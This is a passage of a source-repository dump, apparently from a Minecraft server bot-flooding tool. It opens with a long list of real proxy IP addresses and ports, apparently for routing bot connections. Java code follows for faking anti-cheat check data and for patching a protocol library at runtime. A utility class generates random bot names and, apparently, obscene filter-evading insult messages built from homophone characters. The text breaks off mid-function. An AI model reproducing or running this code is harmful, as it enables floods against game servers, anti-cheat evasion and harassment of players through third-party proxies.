1173 | 89.22.152.32:6363 1174 | 82.130.202.219:43429 1175 | 36.91.145.5:5678 1176 | 103.144.161.104:8291 1177 | 116.237.130.82:4145 1178 | 190.121.232.122:5678 1179 | 91.222.19.159:5678 1180 | 92.118.202.224:5678 1181 | 174.77.111.198:49547 1182 | 93.116.254.90:1080 1183 | 176.215.191.177:3629 1184 | 195.242.138.20:5678 1185 | 31.41.225.205:45067 1186 | 188.75.186.152:4145 1187 | 103.9.188.138:52269 1188 | 128.199.164.111:45813 1189 | 200.33.152.207:47926 1190 | 103.24.74.102:4153 1191 | 66.42.224.229:41679 1192 | 207.180.204.70:65432 1193 | 45.174.71.1:1080 1194 | 96.69.76.161:5678 1195 | 185.140.124.42:4153 1196 | 190.211.115.66:32298 1197 | 222.191.243.187:45730 1198 | 31.134.75.174:5678 1199 | 82.103.70.227:4145 1200 | 182.71.146.148:5678 1201 | 185.240.80.2:4153 1202 | 46.214.93.158:5678 1203 | 38.142.63.146:31596 1204 | 112.78.175.140:5678 1205 | 36.67.148.35:5678 1206 | 178.148.95.41:5678 1207 | 94.158.152.248:46846 1208 | 179.218.129.252:4153 1209 | 36.67.205.183:5678 1210 | 186.226.171.94:1080 1211 | 191.241.145.111:4153 1212 | 103.109.168.36:5678 1213 | 181.118.158.38:4153 1214 | 180.211.95.14:5678 1215 | 93.100.252.92:5678 1216 | 31.209.105.238:4145 1217 | 162.14.135.190:10800 1218 | 94.182.25.74:4145 1219 | 62.4.51.9:5678 1220 | 85.112.95.42:4153 1221 | 222.92.207.102:40086 1222 | 181.15.154.156:52033 1223 | 93.78.254.219:5678 1224 | 104.238.80.180:58429 1225 | 209.198.43.53:5678 1226 | 45.148.74.251:1081 1227 | 200.35.56.161:44684 1228 | 103.9.114.194:39204 1229 | 95.169.213.76:4145 1230 | 159.192.140.230:5678 1231 | 103.103.52.46:4153 1232 | 197.221.90.54:56810 1233 | 50.238.47.85:32100 1234 | 93.182.76.244:5678 1235 | 114.4.245.54:1081 1236 | 85.237.51.73:4145 1237 | 62.182.114.164:59623 1238 | 43.224.10.27:6667 1239 | 91.203.25.28:4153 1240 | 149.28.75.30:38088 1241 | 59.152.104.138:32075 1242 | 31.171.169.94:5678 1243 | 81.16.251.250:5678 1244 | 198.8.94.170:39074 1245 | 1.179.202.33:5678 1246 | 171.100.8.82:49181 1247 | 67.201.33.10:25283 1248 | 202.124.46.101:4145 1249 | 103.4.118.130:5678 1250 | 138.117.141.27:8888 1251 | 122.55.202.100:4145 1252 | 94.240.24.91:5678 1253 | 178.212.199.95:1099 1254 | 202.62.47.129:5678 1255 | 130.185.213.146:5678 1256 | 167.114.89.169:37666 1257 | 216.183.40.241:39072 1258 | 195.29.155.98:58617 1259 | 186.225.36.122:5678 1260 | 186.224.225.98:4145 1261 | 222.124.135.123:5678 1262 | 201.221.157.162:5678 1263 | 41.60.228.9:5678 1264 | 77.242.24.248:1080 1265 | 213.172.89.227:4153 1266 | 136.25.2.93:5678 1267 | 46.250.17.120:5678 1268 | 91.144.142.19:46138 1269 | 181.129.52.156:44665 1270 | 118.99.67.148:5678 1271 | 157.245.42.58:53749 1272 | 177.72.6.18:4145 1273 | 117.20.56.203:4145 1274 | 91.207.238.107:45627 1275 | 178.205.251.134:4153 1276 | 190.63.174.18:5678 1277 | 104.248.162.187:24076 1278 | 196.3.97.71:5678 1279 | 36.37.180.59:1080 1280 | 202.131.235.138:4153 1281 | 92.204.40.58:9050 1282 | 102.176.162.24:5678 1283 | 166.62.32.44:8181 1284 | 200.167.187.242:5678 1285 | 103.251.225.16:6667 1286 | 195.122.23.100:30159 1287 | 36.94.185.202:5678 1288 | 78.38.67.80:4145 1289 | 185.138.230.68:5678 1290 | 43.241.132.66:4153 1291 | 79.106.246.174:4145 1292 | 103.76.20.155:43818 1293 | 185.17.134.185:31388 1294 | 216.127.113.58:5678 1295 | 179.125.172.210:4153 1296 | 185.236.46.221:5678 1297 | 202.21.103.6:5678 1298 | 213.136.86.246:46915 1299 | 124.158.167.171:5678 1300 | 131.196.13.229:5678 1301 | 14.102.78.67:4145 1302 | 46.188.82.11:54136 1303 | 188.0.117.41:5678 1304 | 81.12.157.98:5678 1305 | 41.207.85.93:5678 1306 | 174.77.111.196:4145 1307 | 113.160.234.147:31797 1308 | 190.54.12.74:5678 1309 | 95.31.5.29:51528 1310 | 177.85.172.135:4153 1311 | 125.26.99.228:44052 1312 | 24.249.199.12:4145 1313 | 154.0.15.166:5678 1314 | 124.158.186.34:5678 1315 | 188.169.142.196:4145 1316 | 181.129.147.27:37251 1317 | 191.102.82.83:4153 1318 | 103.36.11.122:4145 1319 | 131.161.68.41:35944 1320 | 91.205.72.103:6758 1321 | 82.139.187.85:4153 1322 | 201.236.185.14:5678 1323 | 112.78.138.163:5678 1324 | 79.124.72.199:4153 1325 | 203.189.159.161:3629 1326 | 180.180.124.248:49992 1327 | 109.73.178.197:5678 1328 | 155.0.202.254:51327 1329 | 143.255.178.129:4153 1330 | 87.103.174.147:3629 1331 | 49.51.186.129:21127 1332 | 88.213.214.254:4145 1333 | 98.162.96.53:10663 1334 | 195.78.100.162:3629 1335 | 212.22.79.61:5678 1336 | 42.228.3.158:5678 1337 | 177.203.48.179:4145 1338 | 210.48.139.226:4145 1339 | 122.102.36.2:34432 1340 | 84.21.109.151:1080 1341 | 185.89.182.95:1836 1342 | 192.111.138.29:4145 1343 | 190.182.229.11:5678 1344 | 36.95.101.29:3629 1345 | 103.136.203.153:5678 1346 | 31.15.89.51:1099 1347 | 69.55.140.225:64312 1348 | 77.235.221.111:1080 1349 | 81.17.87.42:5678 1350 | 93.63.75.62:1080 1351 | 62.133.135.129:4153 1352 | 103.167.170.62:1080 1353 | 72.223.168.86:57481 1354 | 192.99.247.190:4145 1355 | 91.126.193.121:5678 1356 | 112.221.46.117:4153 1357 | 200.58.250.111:5678 1358 | 45.155.231.53:1080 1359 | 81.95.135.130:4153 1360 | 87.249.212.26:4145 1361 | 177.66.244.100:5678 1362 | 181.129.52.154:44665 1363 | 27.42.168.46:61308 1364 | 150.129.171.123:6667 1365 | 43.245.243.58:5678 1366 | 185.135.234.165:3629 1367 | 190.146.60.76:5678 1368 | 95.140.27.135:59193 1369 | 119.243.95.62:1080 1370 | 103.205.130.94:4145 1371 | 50.237.206.138:64312 1372 | 112.215.33.113:3629 1373 | 88.255.132.182:1080 1374 | 212.225.240.54:3629 1375 | 200.125.44.242:4145 1376 | 120.88.34.92:5678 1377 | 152.200.161.142:5678 1378 | 217.197.252.154:4145 1379 | 47.102.207.157:10800 1380 | 77.108.90.3:1099 1381 | 5.135.24.186:808 1382 | 78.130.211.102:3629 1383 | 177.91.76.34:4153 1384 | 170.0.198.212:4153 1385 | 5.178.217.227:31019 1386 | 37.187.2.79:20156 1387 | 91.106.93.58:5678 1388 | 72.195.114.169:4145 1389 | 31.207.181.32:5678 1390 | 45.66.104.69:44550 1391 | 184.155.36.194:64312 1392 | 103.241.108.206:3629 1393 | 217.219.76.40:4153 1394 | 36.66.167.242:4153 1395 | 200.27.18.138:40210 1396 | 121.200.62.246:4153 1397 | 116.118.98.4:5678 1398 | 185.56.180.14:5678 1399 | 103.240.33.185:8291 1400 | 189.90.63.122:4153 1401 | 170.84.50.226:4153 1402 | 217.64.46.114:5678 1403 | 103.212.93.193:45639 1404 | 106.242.20.219:4145 1405 | 80.76.236.66:3629 1406 | 202.57.46.140:4145 1407 | 181.143.69.27:4145 1408 | 213.149.137.24:4153 1409 | 212.3.70.137:2583 1410 | 175.144.198.226:31694 1411 | 191.97.2.198:5678 1412 | 103.241.227.100:6667 1413 | 190.253.241.254:5678 1414 | 103.235.199.43:5678 1415 | 72.49.49.11:31034 1416 | 188.93.64.242:4153 1417 | 200.220.202.1:4145 1418 | 112.14.47.6:57545 1419 | 161.97.66.62:1000 1420 | 88.220.68.129:5678 1421 | 172.104.60.24:40424 1422 | 72.217.216.239:4145 1423 | 84.22.138.150:4145 1424 | 103.115.255.65:36331 1425 | 51.222.13.193:10084 1426 | 89.36.163.119:4145 1427 | 36.92.143.185:4153 1428 | 95.181.214.105:3629 1429 | 195.98.187.162:3629 1430 | 50.63.13.228:32959 1431 | 121.37.26.217:1080 1432 | 103.131.117.90:4153 1433 | 178.62.32.105:54643 1434 | 87.254.138.170:4145 1435 | 117.102.89.74:5678 1436 | 198.12.121.71:38007 1437 | 109.86.244.225:57649 1438 | 159.224.187.170:5678 1439 | 103.70.159.140:5678 1440 | 202.70.84.201:4153 1441 | 190.144.91.252:4153 1442 | 103.242.175.115:1080 1443 | 72.206.181.105:64935 1444 | 45.142.212.31:30001 1445 | 113.162.84.218:1080 1446 | 152.32.78.24:4145 1447 | 112.78.144.62:4145 1448 | 91.216.66.70:47658 1449 | 45.228.61.26:4153 1450 | 109.86.190.92:1080 1451 | 213.87.103.45:4153 1452 | 89.237.34.190:51549 1453 | 124.107.46.206:5678 1454 | 213.163.126.100:5678 1455 | 119.40.83.242:31841 1456 | 216.51.157.200:1080 1457 | 72.210.252.137:4145 1458 | 46.29.10.43:4153 1459 | 14.232.160.247:10801 1460 | 85.172.38.210:3629 1461 | 118.70.124.34:5678 1462 | 195.140.226.32:5678 1463 | 91.109.199.95:50191 1464 | 184.178.172.5:15303 1465 | 122.248.46.26:4145 1466 | 101.71.154.251:1080 1467 | 168.90.89.238:4145 1468 | 105.235.222.2:5678 1469 | 60.2.44.182:34659 1470 | 175.101.18.25:5678 1471 | 41.215.10.6:4145 1472 | 157.119.201.98:1080 1473 | 94.180.249.187:59723 1474 | 93.175.194.155:3629 1475 | 117.58.245.66:61393 1476 | 194.44.20.112:5678 1477 | 103.211.8.201:52616 1478 | 81.183.253.34:4145 1479 | 36.95.154.249:5678 1480 | 14.102.19.50:5678 1481 | 43.230.62.157:4145 1482 | 102.128.173.1:5678 1483 | 27.74.243.242:5678 1484 | 91.210.47.85:30806 1485 | 36.95.56.58:5678 1486 | 201.184.152.138:44742 1487 | 113.190.40.63:5678 1488 | 23.94.73.246:1080 1489 | 89.133.95.177:4145 1490 | 187.243.253.182:43015 1491 | 45.224.234.10:4153 1492 | 119.15.81.226:5678 1493 | 186.1.181.62:4153 1494 | 43.250.127.98:4153 1495 | 187.11.232.71:4153 1496 | 179.27.86.36:4153 1497 | 103.162.196.90:5678 1498 | 70.185.68.155:4145 1499 | 149.54.12.122:5678 1500 | 125.141.139.197:5566 1501 | 191.6.133.22:4145 1502 | 201.221.128.234:5678 1503 | 103.150.48.26:5678 1504 | 103.44.26.73:5678 1505 | 170.81.35.26:33566 1506 | 105.174.40.238:5678 1507 | 138.99.93.62:4145 1508 | 95.71.125.50:60867 1509 | 202.21.125.198:14153 1510 | 46.98.198.10:5678 1511 | 120.79.173.225:50000 1512 | 188.173.80.140:5678 1513 | 176.31.69.35:19598 1514 | 192.252.209.155:14455 1515 | 213.91.128.99:10801 1516 | 183.88.240.53:4145 1517 | 206.42.35.65:4153 1518 | 87.255.87.176:5678 1519 | 192.111.135.21:4145 1520 | 85.25.118.155:5577 1521 | 121.43.172.193:5555 1522 | 177.128.120.85:5678 1523 | 1.186.82.4:5678 1524 | 148.77.34.200:54321 1525 | 138.68.51.109:9050 1526 | 36.133.17.81:81 1527 | 202.21.115.202:4153 1528 | 138.197.88.158:58873 1529 | 80.75.3.74:1080 1530 | 37.235.24.166:5678 1531 | 206.189.237.58:29754 1532 | 103.150.110.202:9969 1533 | 141.138.182.195:5678 1534 | 36.95.154.11:5678 1535 | 134.236.255.6:5678 1536 | 72.221.164.34:60671 1537 | 195.187.156.2:3629 1538 | 212.174.171.22:5678 1539 | 159.192.121.240:4145 1540 | 103.115.252.26:51372 1541 | 80.85.98.110:5678 1542 | 1.212.157.115:4145 1543 | 190.220.17.34:44253 1544 | 95.43.125.120:4153 1545 | 195.201.31.194:64001 1546 | 109.201.96.222:4145 1547 | 185.14.149.178:4153 1548 | 5.160.72.147:43130 1549 | 185.177.124.13:54321 1550 | 82.117.204.174:5678 1551 | 125.213.216.170:5678 1552 | 95.178.108.189:5678 1553 | 98.178.72.21:10919 1554 | 193.215.41.198:5678 1555 | 117.158.195.135:1080 1556 | 213.14.49.133:5678 1557 | 41.190.233.56:5678 1558 | 192.111.129.150:4145 1559 | 197.232.43.224:1080 1560 | 103.127.63.57:5678 1561 | 216.218.15.48:35703 1562 | 181.143.204.98:5678 1563 | 85.117.56.146:4145 1564 | 222.165.223.140:41541 1565 | 123.203.156.224:65528 1566 | 210.245.51.14:4145 1567 | 69.65.65.178:35727 1568 | 194.28.56.180:3629 1569 | 201.221.133.122:5678 1570 | 218.86.87.171:42086 1571 | 36.71.150.135:5678 1572 | 185.134.96.234:33141 1573 | 67.22.223.9:39593 1574 | 114.6.88.238:36732 1575 | 109.195.102.115:5678 1576 | 188.26.5.254:4145 1577 | 31.43.63.70:4145 1578 | 14.160.23.139:4145 1579 | 103.164.107.118:5678 1580 | 184.185.2.190:4145 1581 | 72.206.181.97:64943 1582 | 120.196.248.88:1081 1583 | 72.195.34.41:4145 1584 | 117.54.201.92:5678 1585 | 119.18.153.50:4153 1586 | 192.111.139.165:4145 1587 | 27.123.1.1:4153 1588 | 109.238.222.1:4153 1589 | 181.196.27.202:5678 1590 | 78.152.119.50:1088 1591 | 152.231.62.172:5678 1592 | 181.209.103.98:5678 1593 | 1.10.141.220:37718 1594 | 190.92.6.86:5678 1595 | 103.164.107.74:5678 1596 | 14.161.17.4:4153 1597 | 82.137.224.193:8291 1598 | 118.123.241.64:10808 1599 | 109.69.161.131:10801 1600 | 50.250.75.153:39593 1601 | 36.137.57.38:81 1602 | 85.30.248.210:4153 1603 | 210.245.51.20:4145 1604 | 192.141.236.3:5678 1605 | 167.250.160.206:4153 1606 | 212.31.100.138:4153 1607 | 176.36.20.67:35356 1608 | 185.252.29.142:1080 1609 | 138.255.240.66:40736 1610 | 95.111.91.50:10801 1611 | 191.243.72.2:4145 1612 | 72.221.232.155:4145 1613 | 103.101.57.92:5678 1614 | 79.106.165.238:39983 1615 | 58.97.194.199:5678 1616 | 190.85.181.210:4145 1617 | 187.102.26.79:35618 1618 | 201.236.203.180:4153 1619 | 168.228.207.98:5678 1620 | 80.78.130.106:3000 1621 | 117.5.36.191:5002 1622 | 158.101.168.59:9050 1623 | 80.191.40.41:5678 1624 | 159.65.116.119:30199 1625 | 89.251.147.97:30048 1626 | 45.73.0.118:5678 1627 | 91.134.137.121:55847 1628 | 98.188.47.150:4145 1629 | 195.242.125.189:1080 1630 | 154.117.212.18:5678 1631 | 91.194.239.122:5678 1632 | 186.190.183.53:5678 1633 | 80.191.169.81:4145 1634 | 180.211.158.90:5678 1635 | 190.210.141.170:5678 1636 | 46.171.28.162:59311 1637 | 93.91.146.30:34350 1638 | 212.200.89.11:4153 1639 | 62.109.31.200:9050 1640 | 102.69.146.168:5678 1641 | 89.25.23.211:4153 1642 | 65.186.60.165:5678 1643 | 87.255.4.21:4153 1644 | 89.249.210.123:5678 1645 | 202.29.218.138:4153 1646 | 102.219.33.98:1080 1647 | 46.173.32.87:4153 1648 | 91.206.148.243:59175 1649 | 182.253.142.5:4145 1650 | 195.135.215.206:4153 1651 | 138.121.198.90:42494 1652 | 188.225.189.228:5678 1653 | 24.216.19.234:9050 1654 | 202.53.172.76:1080 1655 | 80.53.255.194:4153 1656 | 179.189.254.14:5678 1657 | 185.122.144.144:4153 1658 | 173.212.248.58:2087 1659 | 118.99.67.236:5678 1660 | 91.106.64.1:4153 1661 | 49.0.81.219:5678 1662 | 91.213.119.246:46024 1663 | 31.167.220.106:5678 1664 | 182.93.80.59:5678 1665 | 79.124.23.9:4153 1666 | 37.130.4.43:5678 1667 | 1.32.59.217:31981 1668 | 64.139.79.35:54321 1669 | 188.134.9.40:1080 1670 | 117.103.5.134:60113 1671 | 96.72.230.45:34032 1672 | 182.16.171.65:51459 1673 | 92.247.31.37:4145 1674 | 50.207.130.198:54321 1675 | 119.10.177.90:4145 1676 | 176.113.209.13:1080 1677 | 196.2.13.12:4153 1678 | 125.26.4.197:4145 1679 | 122.52.187.137:5678 1680 | 31.146.223.218:56308 1681 | 117.102.119.150:32302 1682 | 190.211.83.201:5678 1683 | 43.224.10.30:6667 1684 | 186.219.96.47:49923 1685 | 91.98.64.222:5678 1686 | 203.189.152.216:5678 1687 | 182.16.245.54:30617 1688 | 83.171.98.69:5678 1689 | 192.252.215.2:4145 1690 | 103.122.105.242:45000 1691 | 82.137.245.41:1080 1692 | 103.31.45.173:4153 1693 | 36.66.71.26:5678 1694 | 200.105.179.250:31247 1695 | 106.245.183.60:4145 1696 | 192.12.113.237:4145 1697 | 185.22.31.227:4153 1698 | 50.233.42.98:30717 1699 | 36.37.202.62:5678 1700 | 1.4.157.35:36202 1701 | 36.92.96.178:5678 1702 | 200.27.110.30:57702 1703 | 92.249.122.108:58749 1704 | 41.79.236.164:1080 1705 | 182.93.85.49:5678 1706 | 93.177.190.203:5678 1707 | 200.58.181.218:4153 1708 | 45.135.233.123:7777 1709 | 1.10.133.149:4145 1710 | 45.81.226.8:7053 1711 | 170.247.43.142:32812 1712 | 185.237.20.218:5678 1713 | 45.251.229.78:5678 1714 | 176.123.220.34:5678 1715 | 103.116.202.241:5678 1716 | 183.89.249.192:4153 1717 | 218.26.101.226:53813 1718 | 144.202.105.234:19050 1719 | 190.121.142.166:4153 1720 | 89.21.77.145:5678 1721 | 54.39.87.232:39721 1722 | 187.111.160.29:34296 1723 | 212.3.146.80:3629 1724 | 82.207.20.247:5678 1725 | 186.10.127.170:4153 1726 | 94.179.131.142:5678 1727 | 177.104.192.122:41443 1728 | 87.247.40.2:5678 1729 | 49.156.42.186:5678 1730 | 213.109.235.89:4153 1731 | 186.31.133.171:5678 1732 | 176.98.95.132:1080 1733 | 187.189.81.144:4153 1734 | 5.172.188.90:5678 1735 | 88.199.82.68:54194 1736 | 94.228.207.45:39603 1737 | 72.195.114.184:4145 1738 | 217.30.253.242:4145 1739 | 109.86.160.82:5678 1740 | 202.141.242.3:55544 1741 | 91.98.62.165:4145 1742 | 62.141.66.110:4145 1743 | 119.3.231.232:8001 1744 | 188.93.235.3:5678 1745 | 212.174.44.16:1080 1746 | 45.67.229.101:30001 1747 | 95.154.104.147:31387 1748 | 80.80.164.164:10801 1749 | 176.236.14.2:4153 1750 | 91.192.201.17:1111 1751 | 85.143.213.2:9050 1752 | 103.101.134.93:5678 1753 | 217.66.206.146:5678 1754 | 1.186.40.2:39651 1755 | 168.227.158.9:4145 1756 | 36.66.8.55:5678 1757 | 119.18.159.67:4153 1758 | 98.162.25.7:31653 1759 | 170.233.148.2:4153 1760 | 154.61.227.8:64312 1761 | 213.165.160.251:5678 1762 | 88.151.251.195:5678 1763 | 71.167.56.3:5678 1764 | 103.26.247.222:5678 1765 | 49.156.42.188:5678 1766 | 193.106.231.145:4145 1767 | 58.215.201.98:38596 1768 | 200.174.228.183:4153 1769 | 168.121.137.122:4145 1770 | 80.191.185.156:5678 1771 | 103.164.107.82:5678 1772 | 144.76.224.49:55738 1773 | 222.252.21.100:5678 1774 | 182.23.49.147:4153 1775 | 222.92.207.98:40086 1776 | 181.129.134.138:5678 1777 | 186.225.32.5:5678 1778 | 195.117.107.190:4145 1779 | 213.240.224.24:5678 1780 | 36.95.84.151:5678 1781 | 190.171.170.70:4153 1782 | 157.119.222.186:4145 1783 | 122.152.53.25:5678 1784 | 186.248.113.158:5678 1785 | 200.29.176.174:4145 1786 | 50.84.203.99:5678 1787 | 117.202.20.66:1088 1788 | 200.146.229.129:8291 1789 | 65.214.140.53:39593 1790 | 163.53.186.250:5678 1791 | 177.223.58.68:48733 1792 | 45.70.238.88:4153 1793 | 79.165.225.234:4153 1794 | 200.102.104.30:4145 1795 | 115.243.111.42:1088 1796 | 1.9.213.114:4153 1797 | 89.171.144.168:5678 1798 | 43.228.131.115:32992 1799 | 181.115.152.114:4153 1800 | 5.22.154.50:32127 1801 | 212.19.7.134:5678 1802 | 167.114.36.197:36020 1803 | 190.205.32.146:5678 1804 | 203.86.239.8:1080 1805 | 80.78.73.91:1080 1806 | 5.133.29.29:5678 1807 | 123.200.22.234:4153 1808 | 168.121.56.6:14880 1809 | 36.66.206.74:5678 1810 | 185.32.181.68:4153 1811 | 49.51.69.212:21127 1812 | 187.216.144.170:5678 1813 | 168.181.123.208:1080 1814 | 125.141.133.99:5566 1815 | 116.206.151.198:4153 1816 | 80.92.181.3:44550 1817 | 101.96.123.20:1080 1818 | 41.223.108.13:1080 1819 | 46.99.188.13:42551 1820 | 187.44.110.157:4145 1821 | 109.224.22.36:51372 1822 | 134.0.63.134:1723 1823 | 181.117.197.105:3629 1824 | 184.178.172.28:15294 1825 | 154.74.140.214:5678 1826 | 51.75.173.161:1080 1827 | 206.189.118.100:18938 1828 | 36.95.74.29:5678 1829 | 1.179.145.101:33109 1830 | 170.238.180.21:4145 1831 | 123.253.124.28:5678 1832 | 129.205.200.89:47309 1833 | 36.66.192.35:38420 1834 | 190.239.24.2:5678 1835 | 170.246.69.243:4145 1836 | 177.101.135.84:5678 1837 | 200.32.105.86:4153 1838 | 182.53.96.56:4145 1839 | 201.157.254.134:4145 1840 | 187.243.250.222:1080 1841 | 184.179.216.133:24630 1842 | 72.252.4.146:4145 1843 | 190.144.167.178:5678 1844 | 201.148.23.131:1080 1845 | 111.92.240.134:45441 1846 | 178.134.153.205:14888 1847 | 94.181.33.149:40840 1848 | 79.98.1.32:34746 1849 | 103.237.77.158:5678 1850 | 177.10.201.170:45780 1851 | 90.181.150.211:4145 1852 | 1.9.167.36:60489 1853 | 218.24.16.198:36180 1854 | 81.163.254.104:3629 1855 | 104.236.45.251:1089 1856 | 41.170.12.92:49142 1857 | 72.195.34.42:4145 1858 | 190.12.95.170:37209 1859 | 185.19.213.56:5678 1860 | 139.159.118.14:5678 1861 | 109.160.116.168:5678 1862 | 170.80.76.70:5678 1863 | 109.167.113.12:4153 1864 | 103.10.99.110:5678 1865 | 79.143.225.152:31270 1866 | 187.1.89.154:5678 1867 | 103.196.53.209:44110 1868 | 213.6.162.158:1080 1869 | 177.129.63.142:4153 1870 | -------------------------------------------------------------------------------- /src/luohuayu/ACProtocol/ACProtocol.java: -------------------------------------------------------------------------------- 1 | package luohuayu.ACProtocol; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.FileInputStream; 6 | import java.io.IOException; 7 | import java.math.BigInteger; 8 | import java.security.MessageDigest; 9 | import java.security.NoSuchAlgorithmException; 10 | import java.util.zip.GZIPInputStream; 11 | import java.util.zip.GZIPOutputStream; 12 | 13 | public class ACProtocol { 14 | 15 | public byte[] getCheckData(String acFile,String code,String[] md5List) { 16 | try { 17 | byte[] buf1=code.substring(0,30).getBytes(); 18 | 19 | FileInputStream in = new FileInputStream(acFile); 20 | byte[] buf2 = new byte[in.available()]; 21 | in.read(buf2); 22 | 23 | byte[] buf3=new byte[buf1.length+buf2.length]; 24 | System.arraycopy(buf1,0,buf3,0,buf1.length); 25 | System.arraycopy(buf2,0,buf3,buf1.length,buf2.length); 26 | 27 | try { 28 | in.close(); 29 | }catch (IOException e2){} 30 | 31 | String result=""; 32 | if(md5List!=null) { 33 | for(String md5:md5List) { 34 | result+=md5+","; 35 | } 36 | } 37 | result+=md5(buf3); 38 | return compress(result); 39 | } catch (IOException e) { 40 | e.printStackTrace(); 41 | return null; 42 | } 43 | } 44 | 45 | public byte[] compress(String str) { 46 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 47 | GZIPOutputStream gzip; 48 | try { 49 | gzip = new GZIPOutputStream(out); 50 | gzip.write(str.getBytes()); 51 | gzip.close(); 52 | } catch (IOException e) {} 53 | return out.toByteArray(); 54 | } 55 | 56 | public String uncompress(byte[] data) { 57 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 58 | ByteArrayInputStream in = new ByteArrayInputStream(data); 59 | try { 60 | GZIPInputStream ungzip = new GZIPInputStream(in); 61 | byte[] buffer = new byte[256]; 62 | int n; 63 | while ((n = ungzip.read(buffer)) >= 0) { 64 | out.write(buffer, 0, n); 65 | } 66 | } catch (IOException e) {} 67 | 68 | return new String(out.toByteArray()); 69 | } 70 | 71 | public String md5(byte[] buf) { 72 | try { 73 | MessageDigest md=MessageDigest.getInstance("MD5"); 74 | md.update(buf); 75 | byte[] digest = md.digest(); 76 | return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)); 77 | } catch (NoSuchAlgorithmException e) { 78 | return null; 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/luohuayu/EndMinecraftPlus/ASMInject.java: -------------------------------------------------------------------------------- 1 | package luohuayu.EndMinecraftPlus; 2 | 3 | import javassist.ClassPool; 4 | import javassist.CtClass; 5 | import javassist.CtMethod; 6 | 7 | public class ASMInject { 8 | public static boolean inject() { 9 | try { 10 | ClassPool classPool=ClassPool.getDefault(); 11 | CtClass ctClass=classPool.getOrNull("org.spacehq.mc.protocol.data.MagicValues"); 12 | if(ctClass==null) ctClass=classPool.get("org.spacehq.mc.protocol.data.game.MagicValues"); 13 | CtMethod method1=ctClass.getDeclaredMethod("key"); 14 | method1.addCatch("{return null;}", classPool.get("java.lang.Exception")); 15 | CtMethod method2=ctClass.getDeclaredMethod("value"); 16 | method2.addCatch("{return null;}", classPool.get("java.lang.Exception")); 17 | ctClass.toClass(); 18 | return true; 19 | } catch (Exception e) { 20 | return false; 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/luohuayu/EndMinecraftPlus/Utils.java: -------------------------------------------------------------------------------- 1 | package luohuayu.EndMinecraftPlus; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.InputStreamReader; 5 | import java.net.URL; 6 | import java.net.URLConnection; 7 | import java.util.Random; 8 | import java.util.regex.Matcher; 9 | import java.util.regex.Pattern; 10 | 11 | public class Utils { 12 | public static void log(String from, Object msg) { 13 | System.out.println("[" + from + "] " + msg); 14 | } 15 | 16 | public static void log(Object msg) { 17 | System.out.println(msg); 18 | } 19 | 20 | public static void log(Object... msg) { 21 | for (Object o : msg) { 22 | System.out.println(o); 23 | } 24 | } 25 | 26 | public static void sleep(long millis) { 27 | try { 28 | Thread.sleep(millis); 29 | } catch (InterruptedException e) { 30 | e.printStackTrace(); 31 | } 32 | } 33 | 34 | public static Matcher matches(String str, String regex) { 35 | Pattern mPattern = Pattern.compile(regex); 36 | Matcher mMatcher = mPattern.matcher(str); 37 | return mMatcher; 38 | } 39 | 40 | public static String sendGet(String url) { 41 | String result = ""; 42 | BufferedReader in = null; 43 | try { 44 | String urlNameString = url; 45 | URL realUrl = new URL(urlNameString); 46 | URLConnection connection = realUrl.openConnection(); 47 | connection.setRequestProperty("accept", "*/*"); 48 | connection.setRequestProperty("connection", "Keep-Alive"); 49 | connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); 50 | connection.connect(); 51 | 52 | in = new BufferedReader(new InputStreamReader(connection.getInputStream())); 53 | String line; 54 | while ((line = in.readLine()) != null) { 55 | result += line; 56 | } 57 | } catch (Exception e) { 58 | log("HTTP", "HTTP请求失败: " + e.getMessage()); 59 | } finally { 60 | try { 61 | if (in != null) { 62 | in.close(); 63 | } 64 | } catch (Exception e) { 65 | log("HTTP", "IO异常: " + e.getMessage()); 66 | } 67 | } 68 | return result; 69 | } 70 | 71 | public static String getRandomString(int minLength, int maxLength) { 72 | String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 73 | Random random = new Random(); 74 | int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength; 75 | StringBuffer sb = new StringBuffer(); 76 | for (int i = 0; i < length; ++i) { 77 | int number = random.nextInt(62); 78 | sb.append(str.charAt(number)); 79 | } 80 | return sb.toString(); 81 | } 82 | 83 | @SuppressWarnings("unchecked") 84 | public static T getCo(String date, T def) { 85 | if (date.equals("")) { 86 | return def; 87 | } 88 | return (T) date; 89 | } 90 | 91 | public static int getCo(String date, int def) { 92 | if (date.equals("")) { 93 | return def; 94 | } 95 | return Integer.parseInt(date); 96 | } 97 | 98 | public static String getcode(int getnum, String cmd) { 99 | String code = cmd.substring(cmd.length() - getnum, cmd.length()); 100 | return code.toString(); 101 | } 102 | 103 | public static String getclnmsl() { 104 | String msg = getsingleString("啥杀沙莎砂纱", 6) + getsingleString("比必币笔毕碧", 6) + 105 | getsingleString("参惨蚕灿惭餐", 6) 106 | + getsingleString("楞愣堎棱", 4) + getsingleString("尼拟妮泥倪逆", 6) + 107 | getsingleString("吗骂码嘛马玛", 6) 108 | + getsingleString("四思斯司丝似", 6) + getsingleString("了乐勒辣啦", 5) + 109 | getsingleString("是事市匙世式视", 7) 110 | + getsingleString("不布部步捕补埠", 7) + getsingleString("是事市匙世式视", 7); 111 | return msg.toString(); 112 | } 113 | 114 | public static String getsingleString(String list, int num) { 115 | String str = list; 116 | Random random = new Random(); 117 | int length = random.nextInt(1) % (1 - 1 + 1) + 1; 118 | StringBuffer sb = new StringBuffer(); 119 | for (int i = 0; i < length; ++i) { 120 | int number = random.nextInt(num); 121 | sb.append(str.charAt(number)); 122 | } 123 | return sb.toString(); 124 | } 125 | 126 | public static String getsingleString(String list) { 127 | String str = getsingleString(list, list.length()); 128 | return str; 129 | } 130 | 131 | public static String gsp() { 132 | String str = getsingleString( 133 | 